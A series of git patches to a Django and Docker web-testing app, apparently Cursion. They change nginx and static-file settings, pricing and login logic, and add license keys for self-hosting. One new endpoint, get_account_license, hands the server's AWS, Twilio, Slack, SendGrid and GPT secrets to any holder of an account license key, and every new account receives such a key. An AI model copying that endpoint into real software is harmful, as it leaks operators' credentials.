             'flowruns_allowed': flowruns_allowed if flowruns_allowed else 5,
-            'nodes_allowed': nodes_allowed if nodes_allowed else 6,
-            'conditions_allowed': conditions_allowed if conditions_allowed else 2,
+            'nodes_allowed': nodes_allowed if nodes_allowed else 4,
+            'conditions_allowed': conditions_allowed if conditions_allowed else 1,
             'retention_days': retention_days if retention_days else 15,
         }
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 9c6e5bbe..7277fd39 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -10,7 +10,7 @@ services:
     expose:
       - 3000
     volumes:
-      - client_volume:/app/build
+      - client:/usr/share/nginx/html # Mount the build directory for Nginx
 
 
   server:
@@ -30,7 +30,6 @@ services:
       - ./env/.env.dev
     volumes:
       - server:/app
-      - server_volume:/app/static
     depends_on:
       - db
 
@@ -120,10 +119,9 @@ services:
       - 443:443
       - 80:80
     volumes:
-      - client_volume:/app/build
-      - server_volume:/app/static
       - certs:/etc/nginx/certs
-      - html:/usr/share/nginx/html
+      # - html:/usr/share/nginx/html
+      - client:/usr/share/nginx/html # Mount React build files
       - vhost:/etc/nginx/vhost.d
       - /var/run/docker.sock:/tmp/docker.sock:ro
     depends_on:
diff --git a/nginx/vhost.d/default b/nginx/vhost.d/default
index 6a61fba2..d1c7a7f6 100644
--- a/nginx/vhost.d/default
+++ b/nginx/vhost.d/default
@@ -1,6 +1,6 @@
 
 location /static/ {
-    # alias /app/static/;
+    # alias /app/build/static; # -> for React file serving
     add_header Access-Control-Allow-Origin *;
 }
 

From c096571c739d14bf5cfe60079fdada7a6b2ae3dc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 26 Nov 2024 08:42:47 -0700
Subject: [PATCH 0783/1099] new attempt for client deployment

---
 docker-compose.dev.yml | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 7277fd39..c9d8e525 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -5,12 +5,11 @@ services:
     container_name: cursion-client
     hostname: cursion-client
     image: cursiondev/client
+    platform: linux/amd64
     env_file:
       - ./env/.env.client.dev
     expose:
-      - 3000
-    volumes:
-      - client:/usr/share/nginx/html # Mount the build directory for Nginx
+      - 8080
 
 
   server:
@@ -38,6 +37,7 @@ services:
     container_name: cursion-db
     hostname: cursion-db
     image: postgres:14-alpine
+    platform: linux/amd64
     ports:
       - 5432
     env_file:
@@ -50,6 +50,7 @@ services:
     container_name: cursion-redis
     hostname: cursion-redis
     image: redis:alpine
+    platform: linux/amd64
     ports:
       - 6379
 
@@ -101,6 +102,7 @@ services:
     privileged: true
     restart: always
     image: cursiondev/ylt
+    platform: linux/amd64
     ports:
       - 8383:8383
     depends_on:
@@ -115,13 +117,13 @@ services:
     hostname: nginx-proxy
     image: cursiondev/nginx
     restart: always
+    platform: linux/amd64
     ports:
       - 443:443
       - 80:80
     volumes:
       - certs:/etc/nginx/certs
-      # - html:/usr/share/nginx/html
-      - client:/usr/share/nginx/html # Mount React build files
+      - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
       - /var/run/docker.sock:/tmp/docker.sock:ro
     depends_on:
@@ -133,6 +135,7 @@ services:
     container_name: nginx-proxy-letsencrypt
     hostname: nginx-proxy-letsencrypt
     image: nginxproxy/acme-companion
+    platform: linux/amd64
     environment:
       - DEFAULT_EMAIL=youremail@yourdomain.com
       - NGINX_PROXY_CONTAINER=nginx-proxy
@@ -150,8 +153,6 @@ volumes:
   server:
   celery:
   beat:
-  server_volume:
-  client_volume:
   letsencrypt-acme:
   pgdata:
   certs:

From 89c732849e277d616f53ce766ee9ad3576925795 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 26 Nov 2024 09:25:28 -0700
Subject: [PATCH 0784/1099] trying new configs

---
 app/cursion/settings.py | 11 ++++++-----
 docker-compose.dev.yml  | 25 +++++++++++++------------
 nginx/vhost.d/default   |  2 +-
 3 files changed, 20 insertions(+), 18 deletions(-)

diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index f24ee8b2..ac85f03c 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -30,7 +30,7 @@
 # Network settings
 CORS_ORIGIN_ALLOW_ALL = True
 DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
-SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
+SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
 ALLOWED_HOSTS = [os.environ.get('DJANGO_ALLOWED_HOSTS')]
 
 
@@ -155,11 +155,12 @@
 # Static files (CSS, JavaScript, Images)
 # https://docs.djangoproject.com/en/3.2/howto/static-files/
 STATIC_URL = '/static/'
-STATIC_ROOT = os.path.join(BASE_DIR, "static")
+STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
 
 
 # Static file service without nginx
-STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage"
+STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'
+
 
 
 # Used to authenticate with S3 using 'django-stores' pypi package and 'boto3'
@@ -184,11 +185,11 @@
 
 
 # Redis and Celery Config
-CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_BROKER_URL = 'redis://redis:6379'
 
 
 # RabbitMQ and Celery Config
-# CELERY_BROKER_URL = "amqp://rabbitmq"
+# CELERY_BROKER_URL = 'amqp://rabbitmq'
 
 
 # Default primary key field type
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c9d8e525..ea2c2d5b 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -9,7 +9,7 @@ services:
     env_file:
       - ./env/.env.client.dev
     expose:
-      - 8080
+      - "8080"
 
 
   server:
@@ -24,11 +24,12 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "server", "remote"]
     expose:
-      - 8000
+      - "8000"
     env_file:
       - ./env/.env.dev
     volumes:
       - server:/app
+      - server_static:/app/static
     depends_on:
       - db
 
@@ -39,7 +40,7 @@ services:
     image: postgres:14-alpine
     platform: linux/amd64
     ports:
-      - 5432
+      - "5432"
     env_file:
       - ./env/.env.dev
     volumes: 
@@ -52,7 +53,7 @@ services:
     image: redis:alpine
     platform: linux/amd64
     ports:
-      - 6379
+      - "6379"
 
 
   celery:
@@ -104,7 +105,7 @@ services:
     image: cursiondev/ylt
     platform: linux/amd64
     ports:
-      - 8383:8383
+      - "8383:8383"
     depends_on:
       - redis
       - celery 
@@ -115,12 +116,12 @@ services:
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
-    image: cursiondev/nginx
+    image: jwilder/nginx-proxy # cursiondev/nginx
     restart: always
     platform: linux/amd64
     ports:
-      - 443:443
-      - 80:80
+      - "443:443"
+      - "80:80"
     volumes:
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
@@ -136,14 +137,13 @@ services:
     hostname: nginx-proxy-letsencrypt
     image: nginxproxy/acme-companion
     platform: linux/amd64
-    environment:
-      - DEFAULT_EMAIL=youremail@yourdomain.com
-      - NGINX_PROXY_CONTAINER=nginx-proxy
+    env_file:
+      - ./env/.env.dev
     volumes:
-      - /var/run/docker.sock:/var/run/docker.sock:ro
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
+      - /var/run/docker.sock:/tmp/docker.sock:ro
       - letsencrypt-acme:/etc/acme.sh
     depends_on:
       - nginx-proxy
@@ -151,6 +151,7 @@ services:
 
 volumes:
   server:
+  server_static:
   celery:
   beat:
   letsencrypt-acme:
diff --git a/nginx/vhost.d/default b/nginx/vhost.d/default
index d1c7a7f6..a556b7d9 100644
--- a/nginx/vhost.d/default
+++ b/nginx/vhost.d/default
@@ -1,6 +1,6 @@
 
 location /static/ {
-    # alias /app/build/static; # -> for React file serving
+    # alias /app/static; # -> for React file serving
     add_header Access-Control-Allow-Origin *;
 }
 

From cbd6be86c0defbe1114b415562fe43637f78dd0e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 26 Nov 2024 09:33:59 -0700
Subject: [PATCH 0785/1099] testing new staticfiles location

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index ea2c2d5b..0ba86a10 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -29,7 +29,7 @@ services:
       - ./env/.env.dev
     volumes:
       - server:/app
-      - server_static:/app/static
+      - server_static:/app/staticfiles
     depends_on:
       - db
 

From ae5290bea01b80fb7eb7269fdf7b090c80d8a8c4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 26 Nov 2024 09:56:02 -0700
Subject: [PATCH 0786/1099] new configs

---
 app/cursion/settings.py | 2 +-
 docker-compose.dev.yml  | 2 +-
 nginx/vhost.d/default   | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index ac85f03c..d8df5947 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -155,7 +155,7 @@
 # Static files (CSS, JavaScript, Images)
 # https://docs.djangoproject.com/en/3.2/howto/static-files/
 STATIC_URL = '/static/'
-STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
+STATIC_ROOT = os.path.join(BASE_DIR, 'static')
 
 
 # Static file service without nginx
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 0ba86a10..eddbeb36 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -116,7 +116,7 @@ services:
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
-    image: jwilder/nginx-proxy # cursiondev/nginx
+    image: cursiondev/nginx
     restart: always
     platform: linux/amd64
     ports:
diff --git a/nginx/vhost.d/default b/nginx/vhost.d/default
index a556b7d9..c498447b 100644
--- a/nginx/vhost.d/default
+++ b/nginx/vhost.d/default
@@ -1,6 +1,6 @@
 
 location /static/ {
-    # alias /app/static; # -> for React file serving
+    alias /app/static/;
     add_header Access-Control-Allow-Origin *;
 }
 

From 876109c22cb98b7fe337234ab4a676f377f43bae Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 26 Nov 2024 10:11:41 -0700
Subject: [PATCH 0787/1099] fixing django static

---
 docker-compose.dev.yml | 5 +++--
 nginx/vhost.d/default  | 1 -
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index eddbeb36..8b92499a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -29,7 +29,7 @@ services:
       - ./env/.env.dev
     volumes:
       - server:/app
-      - server_static:/app/staticfiles
+      - static_volume:/app/static
     depends_on:
       - db
 
@@ -123,6 +123,7 @@ services:
       - "443:443"
       - "80:80"
     volumes:
+      - static_volume:/app/static
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
@@ -151,7 +152,7 @@ services:
 
 volumes:
   server:
-  server_static:
+  static_volume:
   celery:
   beat:
   letsencrypt-acme:
diff --git a/nginx/vhost.d/default b/nginx/vhost.d/default
index c498447b..69dca855 100644
--- a/nginx/vhost.d/default
+++ b/nginx/vhost.d/default
@@ -6,4 +6,3 @@ location /static/ {
 
 
 
-

From eaba6b62de2963ae354503f77b121d1ef1d2370d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 26 Nov 2024 11:23:01 -0700
Subject: [PATCH 0788/1099] new configs

---
 app/cursion/settings.py | 5 ++---
 docker-compose.dev.yml  | 4 ++--
 nginx/vhost.d/default   | 4 ++--
 3 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index d8df5947..c1d3e3a9 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -154,15 +154,14 @@
 
 # Static files (CSS, JavaScript, Images)
 # https://docs.djangoproject.com/en/3.2/howto/static-files/
-STATIC_URL = '/static/'
-STATIC_ROOT = os.path.join(BASE_DIR, 'static')
+STATIC_URL = '/staticfiles/'
+STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
 
 
 # Static file service without nginx
 STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'
 
 
-
 # Used to authenticate with S3 using 'django-stores' pypi package and 'boto3'
 AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
 AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 8b92499a..797dcfcf 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -29,7 +29,7 @@ services:
       - ./env/.env.dev
     volumes:
       - server:/app
-      - static_volume:/app/static
+      - static_volume:/app/staticfiles
     depends_on:
       - db
 
@@ -123,7 +123,7 @@ services:
       - "443:443"
       - "80:80"
     volumes:
-      - static_volume:/app/static
+      - static_volume:/app/staticfiles
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
diff --git a/nginx/vhost.d/default b/nginx/vhost.d/default
index 69dca855..fe37f6ef 100644
--- a/nginx/vhost.d/default
+++ b/nginx/vhost.d/default
@@ -1,6 +1,6 @@
 
-location /static/ {
-    alias /app/static/;
+location /staticfiles/ {
+    alias /app/staticfiles/;
     add_header Access-Control-Allow-Origin *;
 }
 

From 065c0fadf097afc1bebfd8d9bdec6b3a048b2127 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 27 Nov 2024 14:52:17 -0700
Subject: [PATCH 0789/1099] fixed some small bugs

---
 app/api/utils/autocaser.py | 17 +++++++++--------
 app/cursion/settings.py    |  2 +-
 2 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 2719cf91..1c504def 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1118,14 +1118,15 @@ def sub_element_mapping(elements, steps):
 
             # save new Case
             Case.objects.create(
-                id       = case_id,
-                site     = self.site,
-                site_url = self.site.site_url,
-                user     = self.site.user,
-                account  = self.site.account,
-                title    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
-                type     = "generated",
-                steps    = {
+                id          = case_id,
+                site        = self.site,
+                site_url    = self.site.site_url,
+                user        = self.site.user,
+                account     = self.site.account,
+                title       = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
+                type        = "generated",
+                processed   = True,
+                steps       = {
                     'url':  steps_url,
                     'num_steps': len(steps)
                 },
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index c1d3e3a9..54370d38 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -255,7 +255,7 @@
     'min_wait_time': 3,
     'max_wait_time': 30,
     'timeout': 300,
-    'disable_animations': False,
+    'disable_animations': True,
     'auto_height': True,
     'create_issue': True,
     'end_on_fail': True

From 6c2efa4c5881c2516222c5b1e61210723079cbfc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 3 Dec 2024 08:17:27 -0700
Subject: [PATCH 0790/1099] updated for scan and test current_health

---
 app/api/utils/definitions.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
index f6315531..465fe248 100644
--- a/app/api/utils/definitions.py
+++ b/app/api/utils/definitions.py
@@ -15,7 +15,7 @@
     {
         'name': 'Health',
         'key': 'current_health',
-        'value': '((float(obj.lighthouse_delta["scores"].get("current_average",0) if obj.lighthouse_delta["scores"]["current_average"] is not None else 0) + float(obj.yellowlab_delta["scores"].get("current_average",0) if not obj.lighthouse_delta["scores"]["current_average"] is not None else 0))/2)'
+        'value': 'float(obj.post_scan.score)'
     },
     {
         'name': 'Avg Image Score',
@@ -37,7 +37,7 @@
     {
         'name': 'Health',
         'key': 'health',
-        'value': '((float(obj.lighthouse["scores"].get("average",0) if obj.lighthouse["scores"]["average"] is not None else 0) + float(obj.yellowlab["scores"].get("globalScore",0) if obj.yellowlab["scores"]["globalScore"] is not None else 0 ))/2)'
+        'value': 'float(obj.score)'
     },
     {
         'name': 'Error Logs',

From dc1569030105327bc6d689f32f0353c47ce0e648 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 9 Dec 2024 14:16:45 -0700
Subject: [PATCH 0791/1099] self-hosting updates and new pricing structure

---
 app/api/management/commands/create_admin.py | 46 +++++++++-
 app/api/models.py                           |  3 +-
 app/api/tasks.py                            | 51 +++++++----
 app/api/utils/verify.py                     | 15 ++--
 app/api/v1/auth/serializers.py              |  2 +-
 app/api/v1/auth/services.py                 | 99 ++++++++++++++++++---
 app/api/v1/auth/urls.py                     |  1 +
 app/api/v1/auth/views.py                    | 23 ++++-
 app/api/v1/billing/services.py              | 45 ++++------
 app/api/v1/ops/services.py                  | 10 +--
 app/cursion/settings.py                     |  4 +
 docker-compose.dev.yml                      |  2 +-
 setup/requirements/requirements.txt         |  2 +-
 setup/scripts/local.sh                      |  4 +-
 14 files changed, 231 insertions(+), 76 deletions(-)

diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index 953d88ff..47b2a1a1 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -1,9 +1,9 @@
 from django.core.management.base import BaseCommand
 from rest_framework.authtoken.models import Token
 from django.contrib.auth.models import User
-from ...models import Account
+from ...models import Account, Member, get_permissions_default
 from ...utils.verify import verify
-import os
+import os, secrets
 
 
 
@@ -17,6 +17,7 @@ def handle(self, *args, **options):
         username = os.environ.get('ADMIN_USER')
         email = os.environ.get('ADMIN_EMAIL')
         password = os.environ.get('ADMIN_PASS')
+        mode = os.environ.get('MODE')
         if User.objects.filter(is_superuser=True).count() == 0:
             print('Creating Admin User for %s (%s)' % (username, email))
             admin = User.objects.create_superuser(email=email, username=username, password=password)
@@ -29,11 +30,50 @@ def handle(self, *args, **options):
         user = User.objects.get(username=username)
         if not Account.objects.filter(user=user).exists():
             print('Funding account for %s' % (username))
-            Account.objects.create(
+
+            # default usage
+            usage = {
+                'sites': 0,
+                'schedules': 0,
+                'scans': 0,
+                'tests': 0,
+                'caseruns': 0,
+                'flowruns': 0,
+                'sites_allowed': 1000, 
+                'pages_allowed': 10, 
+                'schedules_allowed': 50, 
+                'scans_allowed': 100000, 
+                'tests_allowed': 100000, 
+                'caseruns_allowed': 100000,
+                'flowruns_allowed': 100000,
+                'nodes_allowed': 50,
+                'conditions_allowed': 25,
+                'retention_days': 1000,
+            }
+
+            code = secrets.token_urlsafe(16)
+
+            account = Account.objects.create(
+                name='Admin',
                 user=user,
                 active=True,
+                type='selfhost' if mode == 'selfhost' else 'admin',
+                usage=usage,
+                code=code,
+            )
+
+            # get permissonions or default
+            permissions = get_permissions_default()
+
+            member = Member.objects.create(
+                user=user,
+                email=email,
+                status='active',
                 type='admin',
+                account=account,
+                permissions=permissions
             )
+
         else:
             print('Accounts can only be initialized if no Accounts exist')
 
diff --git a/app/api/models.py b/app/api/models.py
index d55e8e2d..8b2dd99c 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -367,6 +367,7 @@ class Account(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    license_key = models.CharField(max_length=100, serialize=True, null=True, blank=True) ## -> NEW!!!!!
     # sites_allowed = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
     # max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
     # max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
@@ -380,7 +381,7 @@ class Account(models.Model):
     usage = models.JSONField(serialize=True, null=True, blank=True, default=get_usage_default)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
     configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
-    info = models.JSONField(serialize=True, null=True, blank=True, default=get_account_info_default)
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_account_info_default) ## -> NEW!!!!!
     meta = models.JSONField(serialize=True, null=True, blank=True, default=get_meta_default)
    
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 103668c0..ef456dde 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2463,20 +2463,12 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
     if account.meta.get('coupon'):
         discount = account.meta['coupon']['discount']
 
-    # calculate 
-    if sites_allowed <= 5:
-        price = 8900
-    elif sites_allowed > 5 and sites_allowed <= 10:
-        price = 17900
-    elif sites_allowed > 10 and sites_allowed <= 25:
-        price = 34900
-    elif sites_allowed > 25:
-        price = (
-            ( 
-                (-0.0003 * (sites_allowed ** 2)) + 
-                (1.5142 * sites_allowed) + 325.2
-            ) * 100
-        )
+    # calculate
+    price = (
+        ( 
+            (54.444 * (sites_allowed ** 0.4764))
+        ) * 100
+    )
 
     # apply discount
     price = price - (price * discount)
@@ -2662,12 +2654,35 @@ def create_prospect(user_email: str=None) -> None:
     Returns -> None
     """
 
+    if settings.MODE == 'selfhost':
+        print('not running because of selfhost mode')
+        return None
+
     # get user by id
     user = User.objects.get(email=user_email)
-    member = Member.objects.get(user=user)
+    phone = None
+    if Member.objects.filter(user=user).exists():
+        member = Member.objects.get(user=user)
+        phone = member.phone
 
     # get account by user
     account = Account.objects.get(user=user)
+
+    # determinig user's 'status'
+    if account.type == 'free':
+        if Site.objects.filter(account=account).exists():
+            _status = 'warm' # account has one site onboarded
+        else:
+            _status = 'cold' # account is free but no site onboarded
+    if account.type != 'free':
+        if account.active:
+            _status = 'customer' # account is active and paid
+        else:
+            _status = 'warm' # account is paused and paid
+    if account.type == 'new':
+        _status = 'cold' # account has not onboarded
+    if account.type == 'selfhost':
+        _status = 'customer' # account is active and paid
     
     # setup configs
     url = f'{settings.LANDING_API_ROOT}/ops/prospect'
@@ -2679,8 +2694,10 @@ def create_prospect(user_email: str=None) -> None:
         'first_name': str(user.first_name),
         'last_name': str(user.last_name),
         'email': str(user.email),
-        'phone': str(member.phone),
-        'status': 'warm',
+        'phone': phone,
+        'license_key': str(account.license_key),
+        'info': account.info,
+        'status': _status,
         'source': 'app',
     }
     
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index 00a4eddf..74df4978 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -8,19 +8,21 @@
 def verify():
     username = os.environ.get('ADMIN_USER')
     email = os.environ.get('ADMIN_EMAIL')
-    password = os.environ.get('ADMIN_PASS')
-    cred = os.environ.get('CRED')
+    license_key = os.environ.get('LICENSE_KEY')
+    api_root = os.environ.get('API_URL_ROOT')
+    client_root = os.environ.get('CLIENT_URL_ROOT')
     url = 'https://cursion.dev/api/verify'
 
     headers = {
         "Content-Type": "application/json",
-        "Authorization" : cred
     }
     
     data = {
         "username": username,
         "email": email,
-        "password": password,
+        "license_key": license_key,
+        "api_root": api_root,
+        "client_root": client_root
     }
 
     res = requests.get(
@@ -29,7 +31,10 @@ def verify():
         params=data
     ).json()
 
-    if res['verified']:
+    # remove this !!!
+    print(res)
+
+    if res.get('verified'):
         return
     else:
         os.abort()
\ No newline at end of file
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index ecca253b..fa7f0a5a 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -82,7 +82,7 @@ class Meta:
         fields = ['id', 'active', 'time_created', 'type', 
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount',
-        'configs', 'meta', 'usage', 'info',
+        'configs', 'meta', 'usage', 'info', 'license_key',
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index f56719a4..ed6c0ac0 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -6,6 +6,7 @@
 from django.contrib.auth.password_validation import validate_password
 from django.shortcuts import get_object_or_404
 from django.utils import timezone
+from django.db.models import Q
 from rest_framework.authtoken.models import Token
 from rest_framework.response import Response
 from rest_framework.pagination import LimitOffsetPagination
@@ -19,7 +20,7 @@
 from ..ops.services import record_api_call
 from .serializers import *
 from ...utils.alerts import send_reset_link
-from ...tasks import send_invite_link_bg, send_remove_alert_bg
+from ...tasks import send_invite_link_bg, send_remove_alert_bg, create_prospect
 from cursion import settings
 import requests, os, subprocess, secrets
 
@@ -116,15 +117,15 @@ def register_user(request: object) -> object:
 
 def login_user(request: object) -> object: 
     """ 
-    Creates a User object and returns a request 
+    Authenticates a User object and returns a request 
 
     Expects the following:
-        'email'    : str,
+        'username' : str, (same as email unless 'admin')
         'password' : str
 
     Returns -> data: {
         'user'      : dict,
-        'token'    : str,
+        'token'     : str,
         'refresh'   : str,
         'api_token' : str
     }
@@ -132,22 +133,25 @@ def login_user(request: object) -> object:
 
     # get data
     password = request.data.get('password')
-    username = request.data.get('username')
+    email = request.data.get('email')
 
     # validate requests
     if (password is None or len(password) == 0) or \
-        (username is None or len(username) == 0):
+        (email is None or len(email) == 0):
         data = {'detail': 'Must provide an email and password.'}
         return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
 
     # setting defalt response
     data = {'detail': 'No account found with the given credentials.'}
 
-    # checking is User exists via provided username
-    if User.objects.filter(username=username).exists():
+    # checking is User exists via provided email / username
+    if User.objects.filter(Q(username=email) | Q(email=email)):
 
         # retrieving User obj
-        user = User.objects.get(username=username)
+        if User.objects.filter(username=email):
+            user = User.objects.get(username=email) 
+        else:
+            user = User.objects.get(email=email)
 
         # validating password
         if user.check_password(password):
@@ -169,7 +173,6 @@ def login_user(request: object) -> object:
                 'api_token': str(api_token.key)
             }
             return Response(data=data, status=status.HTTP_201_CREATED)
-
         else:
             return Response(data=data, status=status.HTTP_401_UNAUTHORIZED)
     else:
@@ -199,7 +202,8 @@ def update_user(request: object) -> object:
         return Response(status=status.HTTP_417_EXPECTATION_FAILED)
     
     # update user email
-    user.username = email
+    if user.username != 'admin':
+        user.username = email
     user.email = email
     user.save()
 
@@ -766,6 +770,9 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         if code is None:
             code = secrets.token_urlsafe(16)
 
+        # create account license_key
+        license_key = 'cursion-license-' + secrets.token_hex(32)
+
         # build usage 
         usage = {
             'sites': 0,
@@ -791,6 +798,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             user=user,
             name=name,
             active=True,
+            license_key=license_key,
             type=type,
             code=code,
             cust_id=cust_id,
@@ -799,6 +807,9 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             price_id=price_id,
             usage=usage,
         )
+
+        # create proepsct
+        create_prospect.delay(user_email=str(user.email))
     
     # serialize and return
     serializer_context = {'request': request,}
@@ -868,6 +879,61 @@ def create_user_token(request: object) -> object:
 
 
 
+def get_account_license(request: object) -> object:
+    """ 
+    Checks if Account is type "selfhost" and returns
+    rquested ENV data
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    license_key = request.data.get('license_key')
+
+    # set defaults
+    success = False
+    data = {}
+
+    # check key 
+    if Account.objects.filter(license_key=license_key).exists():
+        
+        # build data
+        data = {
+            'GOOGLE_CRUX_KEY'               : os.environ.get('GOOGLE_CRUX_KEY'),
+            'TWILIO_SID'                    : os.environ.get('TWILIO_SID'),
+            'TWILIO_AUTH_TOKEN'             : os.environ.get('TWILIO_AUTH_TOKEN'),
+            'SENDGRID_API_KEY'              : os.environ.get('SENDGRID_API_KEY'),
+            'DEFAULT_TEMPLATE'              : os.environ.get('DEFAULT_TEMPLATE'),
+            'DEFAULT_TEMPLATE_NO_BUTTON'    : os.environ.get('DEFAULT_TEMPLATE_NO_BUTTON'),
+            'AUTOMATION_TEMPLATE'           : os.environ.get('AUTOMATION_TEMPLATE'),
+            'SLACK_APP_ID'                  : os.environ.get('SLACK_APP_ID'),
+            'SLACK_CLIENT_ID'               : os.environ.get('SLACK_CLIENT_ID'),
+            'SLACK_CLIENT_SECRET'           : os.environ.get('SLACK_CLIENT_SECRET'),
+            'SLACK_SIGNING_SECRET'          : os.environ.get('SLACK_SIGNING_SECRET'),
+            'SLACK_VERIFICATION_TOKEN'      : os.environ.get('SLACK_VERIFICATION_TOKEN'),
+            'SLACK_BOT_TOKEN'               : os.environ.get('SLACK_BOT_TOKEN'),
+            'AWS_ACCESS_KEY_ID'             : os.environ.get('AWS_ACCESS_KEY_ID'),
+            'AWS_SECRET_ACCESS_KEY'         : os.environ.get('AWS_SECRET_ACCESS_KEY'),
+            'GPT_API_KEY'                   : os.environ.get('GPT_API_KEY')
+        }
+
+        # update success
+        success = True
+    
+    # return response
+    data = {
+        'success': success,
+        'data': data
+    }
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
 ### ------ Begin Member Services ------ ###
 
 
@@ -1109,6 +1175,10 @@ def get_prospects(request: object) -> object:
                 _status = 'customer' # account is active and paid
             else:
                 _status = 'warm' # account is paused and paid
+        if account.type == 'new':
+            _status = 'cold' # account has not onboarded
+        if account.type == 'selfhost':
